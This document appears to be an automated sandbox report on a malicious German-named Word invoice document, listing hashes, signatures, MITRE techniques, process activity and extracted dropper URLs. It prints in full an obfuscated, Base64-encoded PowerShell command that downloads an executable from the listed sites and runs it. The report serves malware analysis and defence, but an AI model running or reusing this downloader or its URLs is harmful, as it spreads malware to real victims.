0b7c68b124d59eae70ae939bc6b4ea796c544dedf331efe54fdf582a15efe006

General

Target
RechnungScan_14_10_2020.doc
Size 133KB
Sample201014-9cj9r53smn
SHA256 0b7c68b124d59eae70ae939bc6b4ea796c544dedf331efe54fdf582a15efe006
MD5 4e00354105ba756bd165887189b740b6
SHA1 04998aba22090dd5ccf76771809966b680c51668
SHA512 7726bd4d1eb156ad77a2242e5d67645b6506859ece4eb1167473848062548b2ba3be9d8e10b44488313f96c024a3f030c3a6fc5c6fc34a85c7998fc1d9bc6714
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://riandutra.com/img/YX1/
exe.dropper
http://swimsecure.com/vsim-henry/r/
exe.dropper
http://guarany.net/zefiro/ZO/
exe.dropper
https://losgalpones.com/wp-admin/T/
exe.dropper
https://qualitychildcarepreschool.com/0Bq0iCR6gx/oq/
exe.dropper
https://businessexitnow.com/old-wp-includes/1yr/
exe.dropper
https://brownshotelgroup.com/hotelbrownsboutique.com/2r/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3984	3896	POwersheLL.exe	73

Blacklisted process makes network request 2 IoCs

flow	pid	Process
20	3984	POwersheLL.exe
33	3984	POwersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3984	POwersheLL.exe
3984	POwersheLL.exe
3984	POwersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RechnungScan_14_10_2020.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:728

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABXADEAdQB5AGgAdwB5AD0AWwBjAGgAYQByAF0ANAAyADsAJABSAHAANwAzAGoAaQAxAD0AKAAoACcAVgAnACsAJwBzAHUAJwApACsAKAAnAHMAZgBxACcAKwAnAG4AJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBlAFIAUAByAE8AZgBpAGwAZQBcAHAAOQBKAFQAegAzAFAAXABSADkAZwBZAHkAagAxAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAGUAQwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAGAAUgBJAGAAVABZAGAAcABSAG8AVABgAE8AQwBPAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxADIAJwArACcALAAgAHQAJwApACsAJwBsACcAKwAoACcAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAB0AGwAJwArACcAcwAnACkAKQA7ACQATQByAHgAcwBxAHgAXwAgAD0AIAAoACgAJwBJACcAKwAnADMAZAAnACkAKwAoACcANAA3ACcAKwAnAGsAJwApACkAOwAkAFMAYwA5ADQAdAByAGwAPQAoACcAUQAnACsAKAAnAF8AbAAnACsAJwBhACcAKQArACgAJwA0ACcAKwAnADEANwAnACkAKQA7ACQAUwBfAGYAeQAxAGUANQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBJACcAKwAnAEcAJwArACgAJwBPACcAKwAnAFAAOQAnACkAKwAoACcAagAnACsAJwB0AHoAJwApACsAKAAnADMAcABJAEcAJwArACcATwBSACcAKwAnADkAZwB5ACcAKQArACcAeQBqACcAKwAoACcAMQAnACsAJwBJAEcATwAnACkAKQAuACIAcgBgAEUAcABsAGAAQQBDAEUAIgAoACgAJwBJACcAKwAnAEcATwAnACkALABbAHMAVAByAGkAbgBnAF0AWwBjAGgAYQBSAF0AOQAyACkAKQArACQATQByAHgAcwBxAHgAXwArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASQBoADMAegBoAGgAOQA9ACgAJwBGAHUAJwArACgAJwBjACcAKwAnAG4AOABnACcAKQArACcAOQAnACkAOwAkAEsANQBzADYAeQA1ADgAPQAmACgAJwBuAGUAdwAtAG8AYgBqAGUAJwArACcAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAQwBMAEkARQBuAFQAOwAkAEoAcgA4AG4AagA4ADIAPQAoACcAaAAnACsAKAAnAHQAdABwACcAKwAnADoALwAvACcAKwAnAHIAaQBhACcAKQArACcAbgAnACsAJwBkAHUAJwArACcAdAAnACsAKAAnAHIAYQAnACsAJwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAnACsAJwAvAGkAbQBnAC8AWQBYADEAJwArACcALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AcwB3ACcAKQArACcAaQAnACsAJwBtAHMAJwArACcAZQBjACcAKwAoACcAdQByACcAKwAnAGUAJwApACsAKAAnAC4AYwBvAG0ALwB2ACcAKwAnAHMAaQAnACkAKwAoACcAbQAnACsAJwAtAGgAJwApACsAKAAnAGUAbgByACcAKwAnAHkAJwArACcALwByACcAKQArACgAJwAvACcAKwAnACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAOgAnACsAJwAvAC8AJwApACsAJwBnAHUAJwArACcAYQAnACsAKAAnAHIAYQAnACsAJwBuACcAKQArACgAJwB5ACcAKwAnAC4AbgAnACkAKwAoACcAZQB0AC8AegBlACcAKwAnAGYAaQByAG8ALwAnACsAJwBaACcAKwAnAE8ALwAnACkAKwAoACcAKgBoAHQAdABwAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAGwAJwArACcAbwBzACcAKQArACcAZwBhACcAKwAnAGwAJwArACgAJwBwACcAKwAnAG8AbgAnACkAKwAoACcAZQBzACcAKwAnAC4AJwArACcAYwBvAG0AJwApACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AYQAnACkAKwAnAGQAJwArACgAJwBtAGkAJwArACcAbgAvAFQAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnAHMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBxAHUAYQBsACcAKwAnAGkAJwApACsAKAAnAHQAJwArACcAeQBjAGgAaQAnACkAKwAoACcAbAAnACsAJwBkAGMAYQByAGUAJwArACcAcAByAGUAJwApACsAKAAnAHMAYwAnACsAJwBoAG8AJwApACsAJwBvACcAKwAnAGwALgAnACsAKAAnAGMAbwAnACsAJwBtAC8AMABCAHEAMAAnACsAJwBpACcAKwAnAEMAUgA2ACcAKwAnAGcAeAAnACkAKwAoACcALwAnACsAJwBvAHEAJwApACsAJwAvACcAKwAnACoAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQArACcAcwA6ACcAKwAnAC8ALwAnACsAJwBiACcAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQAnACsAJwBzAHMAJwApACsAJwBlAHgAJwArACgAJwBpAHQAbgBvACcAKwAnAHcALgBjAG8AbQAvAG8AJwArACcAbABkACcAKwAnAC0AJwApACsAKAAnAHcAcAAtACcAKwAnAGkAbgAnACkAKwAnAGMAbAAnACsAJwB1AGQAJwArACgAJwBlAHMAJwArACcALwAxACcAKQArACgAJwB5AHIALwAqACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnAHMAOgAnACkAKwAnAC8AJwArACgAJwAvAGIAcgBvACcAKwAnAHcAbgAnACsAJwBzACcAKQArACcAaABvACcAKwAoACcAdABlAGwAJwArACcAZwByAG8AJwApACsAJwB1ACcAKwAoACcAcAAuACcAKwAnAGMAbwBtACcAKQArACcALwAnACsAKAAnAGgAbwAnACsAJwB0AGUAJwArACcAbABiAHIAbwAnACkAKwAoACcAdwBuACcAKwAnAHMAJwApACsAKAAnAGIAbwB1AHQAJwArACcAaQAnACkAKwAoACcAcQAnACsAJwB1AGUAJwApACsAJwAuAGMAJwArACgAJwBvAG0AJwArACcALwAyAHIALwAnACkAKQAuACIAcwBQAEwAYABpAHQAIgAoACQAVwAxAHUAeQBoAHcAeQApADsAJABKAHgAZwAxAGwAcQBoAD0AKAAnAE4AJwArACcAOAA4ACcAKwAoACcAcwAnACsAJwA1AHEAdgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQANQAzAHAAaAB6AGUAIABpAG4AIAAkAEoAcgA4AG4AagA4ADIAKQB7AHQAcgB5AHsAJABLADUAcwA2AHkANQA4AC4AIgBkAGAAbwBgAFcATgBsAG8AYQBgAGQAZgBJAEwAZQAiACgAJABEADUAMwBwAGgAegBlACwAIAAkAFMAXwBmAHkAMQBlADUAKQA7ACQATAB3ADIAdgBlAHcAdgA9ACgAKAAnAEQAbwB2ACcAKwAnAF8AJwApACsAJwBvADAAJwArACcAegAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAUwBfAGYAeQAxAGUANQApAC4AIgBMAEUAYABOAGAARwBUAEgAIgAgAC0AZwBlACAAMgA5ADQAOQA4ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AJwArACcAawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFMAXwBmAHkAMQBlADUAKQA7ACQAWQB4AGYAdQBnADUAOAA9ACgAKAAnAFQAZwAnACsAJwBsACcAKQArACgAJwBsAHAAJwArACcAMQAzACcAKQApADsAYgByAGUAYQBrADsAJABTADkAawBwAG0AaQAzAD0AKAAnAFIAJwArACcAdwAnACsAKAAnADkANwAnACsAJwBoAHgAdQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABxADcANABxADUAagA9ACgAJwBWACcAKwAnAHYAbgAnACsAKAAnAHEAJwArACcAawBoADEAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3984

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/728-0-0x00007FFFF7060000-0x00007FFFF7726000-memory.dmp

Download

memory/728-3-0x000001C09EF0F000-0x000001C09EF20000-memory.dmp

Download

memory/728-5-0x000001C09EF0F000-0x000001C09EF20000-memory.dmp

Download

memory/728-6-0x000001C09EF0F000-0x000001C09EF20000-memory.dmp

Download

memory/728-7-0x000001C09EF0F000-0x000001C09EF20000-memory.dmp

Download

memory/3984-8-0x00007FFFEF710000-0x00007FFFF00FC000-memory.dmp

Download

memory/3984-9-0x000001FFE2E80000-0x000001FFE2E81000-memory.dmp

Download

memory/3984-10-0x000001FFE3230000-0x000001FFE3231000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads